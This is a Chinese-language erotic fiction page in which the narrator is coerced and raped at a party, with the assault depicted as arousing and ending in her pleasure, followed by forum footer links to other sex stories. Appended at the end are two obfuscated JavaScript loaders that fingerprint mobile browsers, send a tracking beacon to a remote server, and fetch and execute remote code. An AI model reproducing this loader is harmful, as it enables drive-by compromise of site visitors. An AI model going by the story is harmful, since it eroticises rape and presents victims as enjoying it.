我吓坏了,不知道怎么办才好,只好说:“是啊,你的太大了,我怕痛。” 楷意一边用力插着红姐,一边回过头说:“熊哥,她今晚上才给我开的苞,等会你真要弄轻点啊。”

熊哥“喔”地一声,说道:“原来这样啊,那要不你帮我弄舒服了,我不干你的洞不就行了?”说完拉着我的手去握他的肉棒。

心里的恐惧让我相信了他的话,乖乖地抓着他的肉棒套弄着,他的肉棒好硬,好粗。熊哥趁机将我的裙子向上拉,不等我有什么反抗,裙子已经让他给解除了,胸围早让他给翻在乳房上面,雪白的乳房和樱红的乳头暴露在空气中,颤巍巍地耸着,显得那么地坚挺。甚至连那边正在做爱的红姐也嫉妒地说:“哟,瞧我们的小妹子,多美的胸啊,看把我们老熊看得口水都快掉了。”

熊哥顺手解除了胸围,拉过我的身体靠在他的胸前,一只手在我乳房上玩弄着,出乎意料的是,他并没有很大力地抓我的胸,而是轻轻地揉着我的乳头,这跟刚才隔着衣服抓有很大区别。

熊哥赞叹道:“小女孩的身体就是不一样,乳头弄一弄就硬了。真是太可爱了。”说完伏下头就去亲我的胸。我忍着他的胡须渣扎着我的胸,感到乳头让他含放嘴里吸着,弄得好痒好痒。而且身体随着他的压下而慢慢地睡在沙发上。熊哥的手在我身上游走着,嘴在我两个乳头交换吸吮,也许嫌我套弄他的肉棒套得不舒服,他引着我的手去摸他的阴囊。他的阴囊我一只抓不过来,而且揉蛋的感觉很让我感到不舒服,好像随时能把蛋捏爆了似的。于是我在阴囊那里徘徊了几下,又回去套弄他的肉棒。

熊哥游走的手游到了我的小腹,突然伸进我的内裤覆盖在我的阴毛处,我连忙用手按着,哀求道:“熊哥,你答应过不弄那里的。”

熊哥“嗯”了一声,说道:“行,不弄就不弄,那你要舔舔它。”说完在我套弄肉棒的手上拍了拍。

我心乱如麻,四肢乏力,要挣扎,一定逃不过熊哥的控制,如果他强硬弄我,我也没有力气阻止,现在唯一可求的就是帮他弄射了,没力气再来搞我。想到这里,我含着泪点了点头。

熊哥放开我,大字脚张开地靠在沙发上,我赤裸着上身,看了看那边的男女,只见红姐趴在沙发上,楷意正从后面弄她。两人弄得大唿小叫的,根本没有注意我这边的情况。我咬了咬牙,学着红姐的样子,跪在地上,抓着熊哥的肉棒套了套后,张开嘴把龟头含了进去。立刻一阵难闻的尿骚味从我口腔传入唿吸道再由鼻子冲出,让我作呕。正想要吐出龟头,可是他的手已经按住了我的头部,我只好调整了下唿吸,再慢慢地继续含得更深。他按我头的手一紧一松地使我的头上下运动,一边呲着牙说:“哎哟,你的牙齿哟,张大点张大点,刮到我了。”他又让我起来坐在沙发上,伏下身帮他舔。这样方便他玩弄我的身体,这时揉捏我胸部的手开始大力了,而摸我背部的手常常插入我的内裤摸我的臀部。

接着他又教我怎样舔阴囊,怎样舔龟头处的槽沟,我一一照办了。甚至他的手在我臀部揉捏也不去阻止,只希望他快点射了精,然后放我走。

但事实让明我的想法太单纯了,我突然感到私处受到了攻击,原来熊哥的手指手后面插进了的穴内,我连忙挣扎着起来,想摆脱他的袭击,没想到他趁机将手一拉,就把我的小内裤拉在屁股下面了,我顺着沙发想爬走,内裤却让他顺势整个拉了下来,丢在一边的地上。熊哥拉着我的脚不让我爬开,我便滚到地上去。他跟着我一起滚在地上,把我的手死死地按在地上,双腿插在我双腿内,轻轻一掰就把我的腿分了开来。他压在我的身上,在我的脸上乱亲着。我一边闪躲一边哀求:“熊哥,你让我做的我都做了,求你放过我吧,求你了!楷意,楷意,救救我呀!”

那边楷意答道:“你放轻松点,熊哥会轻点弄的,你就别再挣扎了。”

双腿之间感到一个硬物在冲撞着寻找入口,我感到绝望,感到害怕,眼泪哗哗地顺着脸往下流。嘴里还在试图着求熊哥。但他根本不听我的,用一只手压着我双手,另一只手伸到下体扶着肉棒对谁了我的肉穴。在他肉棒进入的那一刻,我“哇”地一声哭出声来。熊哥说道:“才进一点你就叫成这样啦?我慢慢进,你别怕。”

感到他的肉棒慢慢地,一点一点进挤进我体内,我完全失去了反抗的力气,全身瘫软地躺在地上流泪哭泣。熊哥见我不反抗了,放开了我的手半蹲起来,说道:“太紧了,还真不好进,夹得我都痛了。”说完拔出了肉棒,吐了点口水在手上往肉棒上抹,然后又插了进去慢慢往里挤。

下体感到越来越涨,也开始疼痛,熊哥一边揉着我的小穴,一边继续往里挺,说道:“真嫩啊,毛也少。好久没弄过这么好的女人了。”

也许他的手弄到了我敏感的地方,使我不由自主地分泌出爱液,他越弄越顺滑,终于一铤而入,他笑道:“哈哈,全进去了,啊,好紧,好舒服,里面真暖和。”说完趴回我的身上,一边亲我的脸一边耸动着屁股。他的每一次插入,都似乎穿到我肚子上去了,让我涨得难受,可是又有另一种奇妙的感觉。

他吻着我流出的泪水,抓着我的乳房,下体的动作不大,一下一下地,但每一次都让我像触电似的感受。这是跟楷意做爱时没有的,或许跟楷意是第一次而不同,又或者这个熊哥做爱的确有技术,总之这第二次的做爱虽然离第一次只不过隔了几个钟头,但带给我的感觉是不同的,跟楷意做爱感到痛苦而没太多欢愉,可跟熊哥做爱虽然有痛苦,但带来的是更多的欢愉,这欢愉甚至让我差点忘记了我现在是给他强奸。随着他的抽插,我开始发出自已都不太相信的呻吟,紧绷的腿不知道什么时候盘在了他的腰上。虽然他的啤酒肚压得我怪不舒服的,但并不影响他带给我的欢愉。

熊哥的嘴印在了我唇上,当用舌头翘开我的牙齿时,并没有受到我太多的抵抗,我们的舌头纠缠在一起的时候,他的动作开始加大,下体因碰撞而发出的声音此起彼伏。而那边的两个已经偃旗息鼓了,赤裸裸地坐在沙发上欣赏着地上的表演,不时还打情骂俏,轻声细语。

虽然如此,我还是保持着我最后的矜持,当熊哥要求换姿势的时候,怎么说我都不肯。熊哥只好继续用最古老的姿势继续在我身上耕耘。

这时红姐突然说:“让我看看小妹的小洞出水了没有。”说完趴在我们叠着的下体去看。我尖叫着挣扎,但给熊哥压着,又怎能够成功。听到红姐在那笑道:“瞧瞧,小妹流了多少啊,地毯都湿了呀。”

我又羞又怒,闭上眼睛任熊哥弄着。下体的刺激越来越大,我咬着牙不让自己呻吟出来,但表情没办法掩饰,熊哥喘着粗气说道:“舒服吧?宝贝。” 这怎么让我回答,只是渴望他别停,因为我就快爆发了,下体销魂的快感一下一下地充斥着我的神经,身体开始不自主地扭动,刚才强忍的呻吟也开始从鼻子中唿出。而熊哥的动作越来越快了,这使我更加地承受不起,终于,一阵无比的快感在我全身蔓延,我紧紧地搂住熊哥,连口水从嘴角边流出也没有感觉到,这高潮跟上一次的是不同的,上一次只有一次高潮后楷意就射了,这一次高潮后,熊哥仍然在冲刺着,那高潮的延续让我快虚脱了,像疯了一样地叫着,在叫什么根本又听不清楚。终于,熊哥发出吼叫声,下体好大力地冲撞着,似乎想要把我揉碎了。他大叫着:“喔……爽啊……我要射了……太舒服了……”精子一股一股地向我体内射了出来。熊哥趴在我身上喘着大气。我的乳房已经让他捏得左一块青又一块紫的,两人搂在一起享受着高潮过后舒适。连什么时候睡觉了都不知道了。

当我睡醒的时候,熊哥已经滚在了我身旁打着鼻鼾睡得正香,楷意和红姐搂着睡在沙发上。我的身上和下体传来阵阵疼痛,轻轻地拉开熊哥放在我胸口的手,挣扎着爬了起来寻找内衣内裤,看到酒桌上有纸巾,顺手拿来往下体擦了擦,穿好衣服后轻手轻脚地向门口走去,正要开门的时候脑筋一转,回去在熊哥的裤子找到钱包抽了张100块的,再打开门飞也似地向外奔去。迪高舞池已经关了,门口站着送客的服务员,在我跑出大门的时候,一齐弯腰说道:“欢迎下次光临!”

跳上的士,我抚着涨痛的下体,眼泪止不住地往下流着。。。。

好市民达人勋章申请中

请大家帮忙按下面键连

之后帮忙按爱心

谢谢大家


上一篇:奇淫宝鉴之不堪回首的肉欲燃烧岁月

下一篇:挂职县长的故事 (全) [都市淫色]


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};